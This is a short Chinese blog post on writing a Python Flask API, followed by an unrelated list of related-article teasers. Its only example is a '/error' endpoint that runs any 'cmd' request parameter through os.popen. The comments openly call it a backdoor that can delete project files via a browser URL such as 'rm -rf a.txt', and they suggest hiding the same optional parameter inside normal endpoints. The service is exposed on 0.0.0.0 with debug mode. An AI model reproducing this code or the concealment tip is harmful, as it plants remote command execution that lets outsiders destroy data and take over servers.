如何用python写接口

news2024/11/26 17:42:13

如何用python写接口?具体步骤如下: 

1、实例化server

2、装饰器下面的函数变为一个接口

3、启动服务

开发工具和流程:

python库:flask =》实例化server:server = flask.Flask(__name__) =》@server.route('/index',methods=['post'])

=》def index(arg):{}

例子:

import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1929894.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

吃空上千袋,养猫10年经验,生生不息、希喂、弗列加特谁是卷王?

身为宠物医生,我每天都在与猫咪和狗狗的相处中度过,对它们的身体变化十分敏感。当前,许多家养猫面临肥胖和肝脏损伤的双重困扰,虽然医疗手段可以介入,但问题的核心在于宠物主人的喂养方法是否得当。 在我职业生涯的这…

磁盘空间不足java.sql.sQLException:磁盘空间不足

java.sql.sQLException:磁盘空间不足 环境介绍1 查询表空间使用情况2 对表空间文件扩展限制进行修改(或新增表空间数据文件)3 达梦数据库学习使用列表 环境介绍 遇到此错误时,首先查看数据库服务器 , 数据库相关磁盘磁盘空间使用率;在磁盘空间充足的情况下, 业务系统操作达梦数…

React Native 自定义 Hook 获取组件位置和大小

在 React Native 中自定义 Hook useLayout 获取 View、Pressable 等组件的位置和大小的信息 import {useState, useCallback} from react import {LayoutChangeEvent, LayoutRectangle} from react-nativeexport function useLayout() {const [layout, setLayout] useState&l…

搜维尔科技:【产品推荐】Euleria Health Riablo 运动功能训练与评估系统

Euleria Health Riablo 运动功能训练与评估系统 Riablo提供一种创新的康复解决方案,将康复和训练变得可激励、可衡量和可控制。Riablo通过激活本体感觉,并通过视听反馈促进神经肌肉的训练。 得益于其技术先进和易用性,Riablo是骨科、运动医…

CentOS7 虚谷数据库 单机版部署

单机版最低配置: 安装环境配置 1.CPU设置 关闭 CPU 超线程 查看当前CPU超线程状态: cat /sys/devices/system/cpu/smt/active 如果是0,表示超线程已关闭;返回值是1,表示超线程已开启。 切换超线程状态: &a…

pygame-键盘事件

pygame-官网文档:https://www.pygame.org/docs/ pygame-键盘事件文档:https://www.pygame.org/docs/ref/key.html pygame的维基文档https://www.pygame.org/wiki/ 这个网址记录了pygame的历史和pygame的解释 详细阅读pygame官网文档学会如何使用pygame后,阅读键盘…

DP(4) | 0-1背包 | Java | LeetCode 1049, 494, 474 做题总结

1049. 最后一块石头的重量 II 和 LC 416.分割等和子集 类似 思路(我没有思路): 两块石头相撞,这里没有想到的一个点是,相撞的两个石头要几乎相似 以示例1为例,stones [2,7,4,1,8,1],如果从左到…

【Linux杂货铺】期末总结篇2:文件操作命令 | 目录操作命令

🌈个人主页:聆风吟_ 🔥系列专栏:Linux实践室、网络奇遇记 🔖少年有梦不应止于心动,更要付诸行动。 文章目录 第四章4.1 ⛳️Linux与windows的文件系统差别4.2 ⛳️目录相关的常用术语4.3 ⛳️Linux文件类型…

领航Linux UDP:构建高效网络新纪元

欢迎来到 破晓的历程的 博客 ⛺️不负时光,不负己✈️ 文章目录 引言Udp和Tcp的异同相同点不同点总结 1.1、socket1.2、bind1.3、recvfrom1.4、sendto2.1、代码2.1、说明3.1、代码3.2、说明 引言 在前几篇博客中,我们学习了Linux网络编程中的一些概念。…

嵌入式人工智能(9-基于树莓派4B的PWM-LED呼吸灯)

1、PWM简介 (1)、什么是PWM 脉冲宽度调制(PWM),是英文“Pulse Width Modulation”的缩写,简称脉宽调制,是在具有惯性的系统中利用微处理器的数字输出来对模拟电路进行控制的一种非常有效的技术,广泛应用在从测量、通信到功率控制…

Linux部署禅道(无脑复制版)

目录 环境部署1、下载,解压2、启动3、设置开机自启 登录禅道登录数据库1、设置账号2、网页登录数据库 环境 Linux系统 Centos7 《Linux一键安装包安装禅道》视频链接: https://www.zentao.net/zentao-install/zentao-linux-install-80523.html 部署 …

2025考研~数据结构试卷

作者主页:知孤云出岫 数据结构试题 [TOC](数据结构试题)数据结构试卷一、选择题(每题2分,共20分)二、填空题(每题3分,共15分)三、简答题(每题10分,共40分)四…

c/c++ 打印调用栈

打印调用栈可以在程序出现死机的时候(如出现 SIGABRT、SIGSEGV等一些信号错误)是很有用的信息,有可能就不需要 core file 来协助排查问题了。通过 man backtrace 可以得到一个例子的源码: #define SIZE 100 static void backTrac…

《javeEE篇》--多线程(1)

进程 在讲线程之前我们先来简单了解一下进程 什么是进程 进程是操作系统对一个正在运行的程序的一种抽象,又或者说,可以把进程看作程序的一次运行过程(通俗的讲就是跑起来的程序)。 而且在操作系统内部,进程是资源分配的基本单位 PCB P…

学生基本信息界面(MFC)

本文将引用MFC常用控件,写一个学生基本信息界面,最后将统计结果显示在提示框中,运行效果如下: 1.新建基于对话框的MFC项目,布局对话框,修改相应控件ID并绑定变量 注意:第一个单选控件的group属性 3.在构造…

《算法笔记》总结No.7——二分(多例题详解版)

一.二分查找 目前有一个有序数列,举个例子,假设是1~1000,让我们去查找931这个数字,浅显且暴力的做法就是直接从头到尾遍历一遍,直到找到931为止。当n非常大,比如达到100w时,这是一个非常大的量级…

获取欧洲时报中国板块前新闻数据(多线程版)

这里写目录标题 一.数据获取流程二.获取主页面数据并提取出文章url三.获取文章详情页的数据并提取整体代码展示 一.数据获取流程 我们首先通过抓包就能够找到我们所需数据的api 这里一共有五个参数其中只有第一个和第五个参数是变化的第一个参数就是第几页第五个是一个由时…

论文翻译 | Successive Prompting for Decomposing Complex Questions 分解复杂问题的连续提示

摘要 回答需要做出潜在决策的复杂问题是一项具有挑战性的任务,尤其是在监督有限的情况下。 最近的研究利用大型语言模型(LMs)的能力,在少量样本设置中通过展示如何在单次处理复杂问题的同时输出中间推理过程,来执行复杂…

【自学安全防御】二、防火墙NAT智能选路综合实验

任务要求: (衔接上一个实验所以从第七点开始,但与上一个实验关系不大) 7,办公区设备可以通过电信链路和移动链路上网(多对多的NAT,并且需要保留一个公网IP不能用来转换) 8,分公司设备可以通过总…

Jdk8 Idea Maven Received fatal alert: protocol_version

问题描述 使用idea开发工具,maven加载项目依赖时,出现错误: Could not transfer artfact xxxxxxx from/to maven-dep-repos https://XXXXXXX: Received fatal alert: protocol_version初步思路 用关键字protocol_version 去检索&#xff0…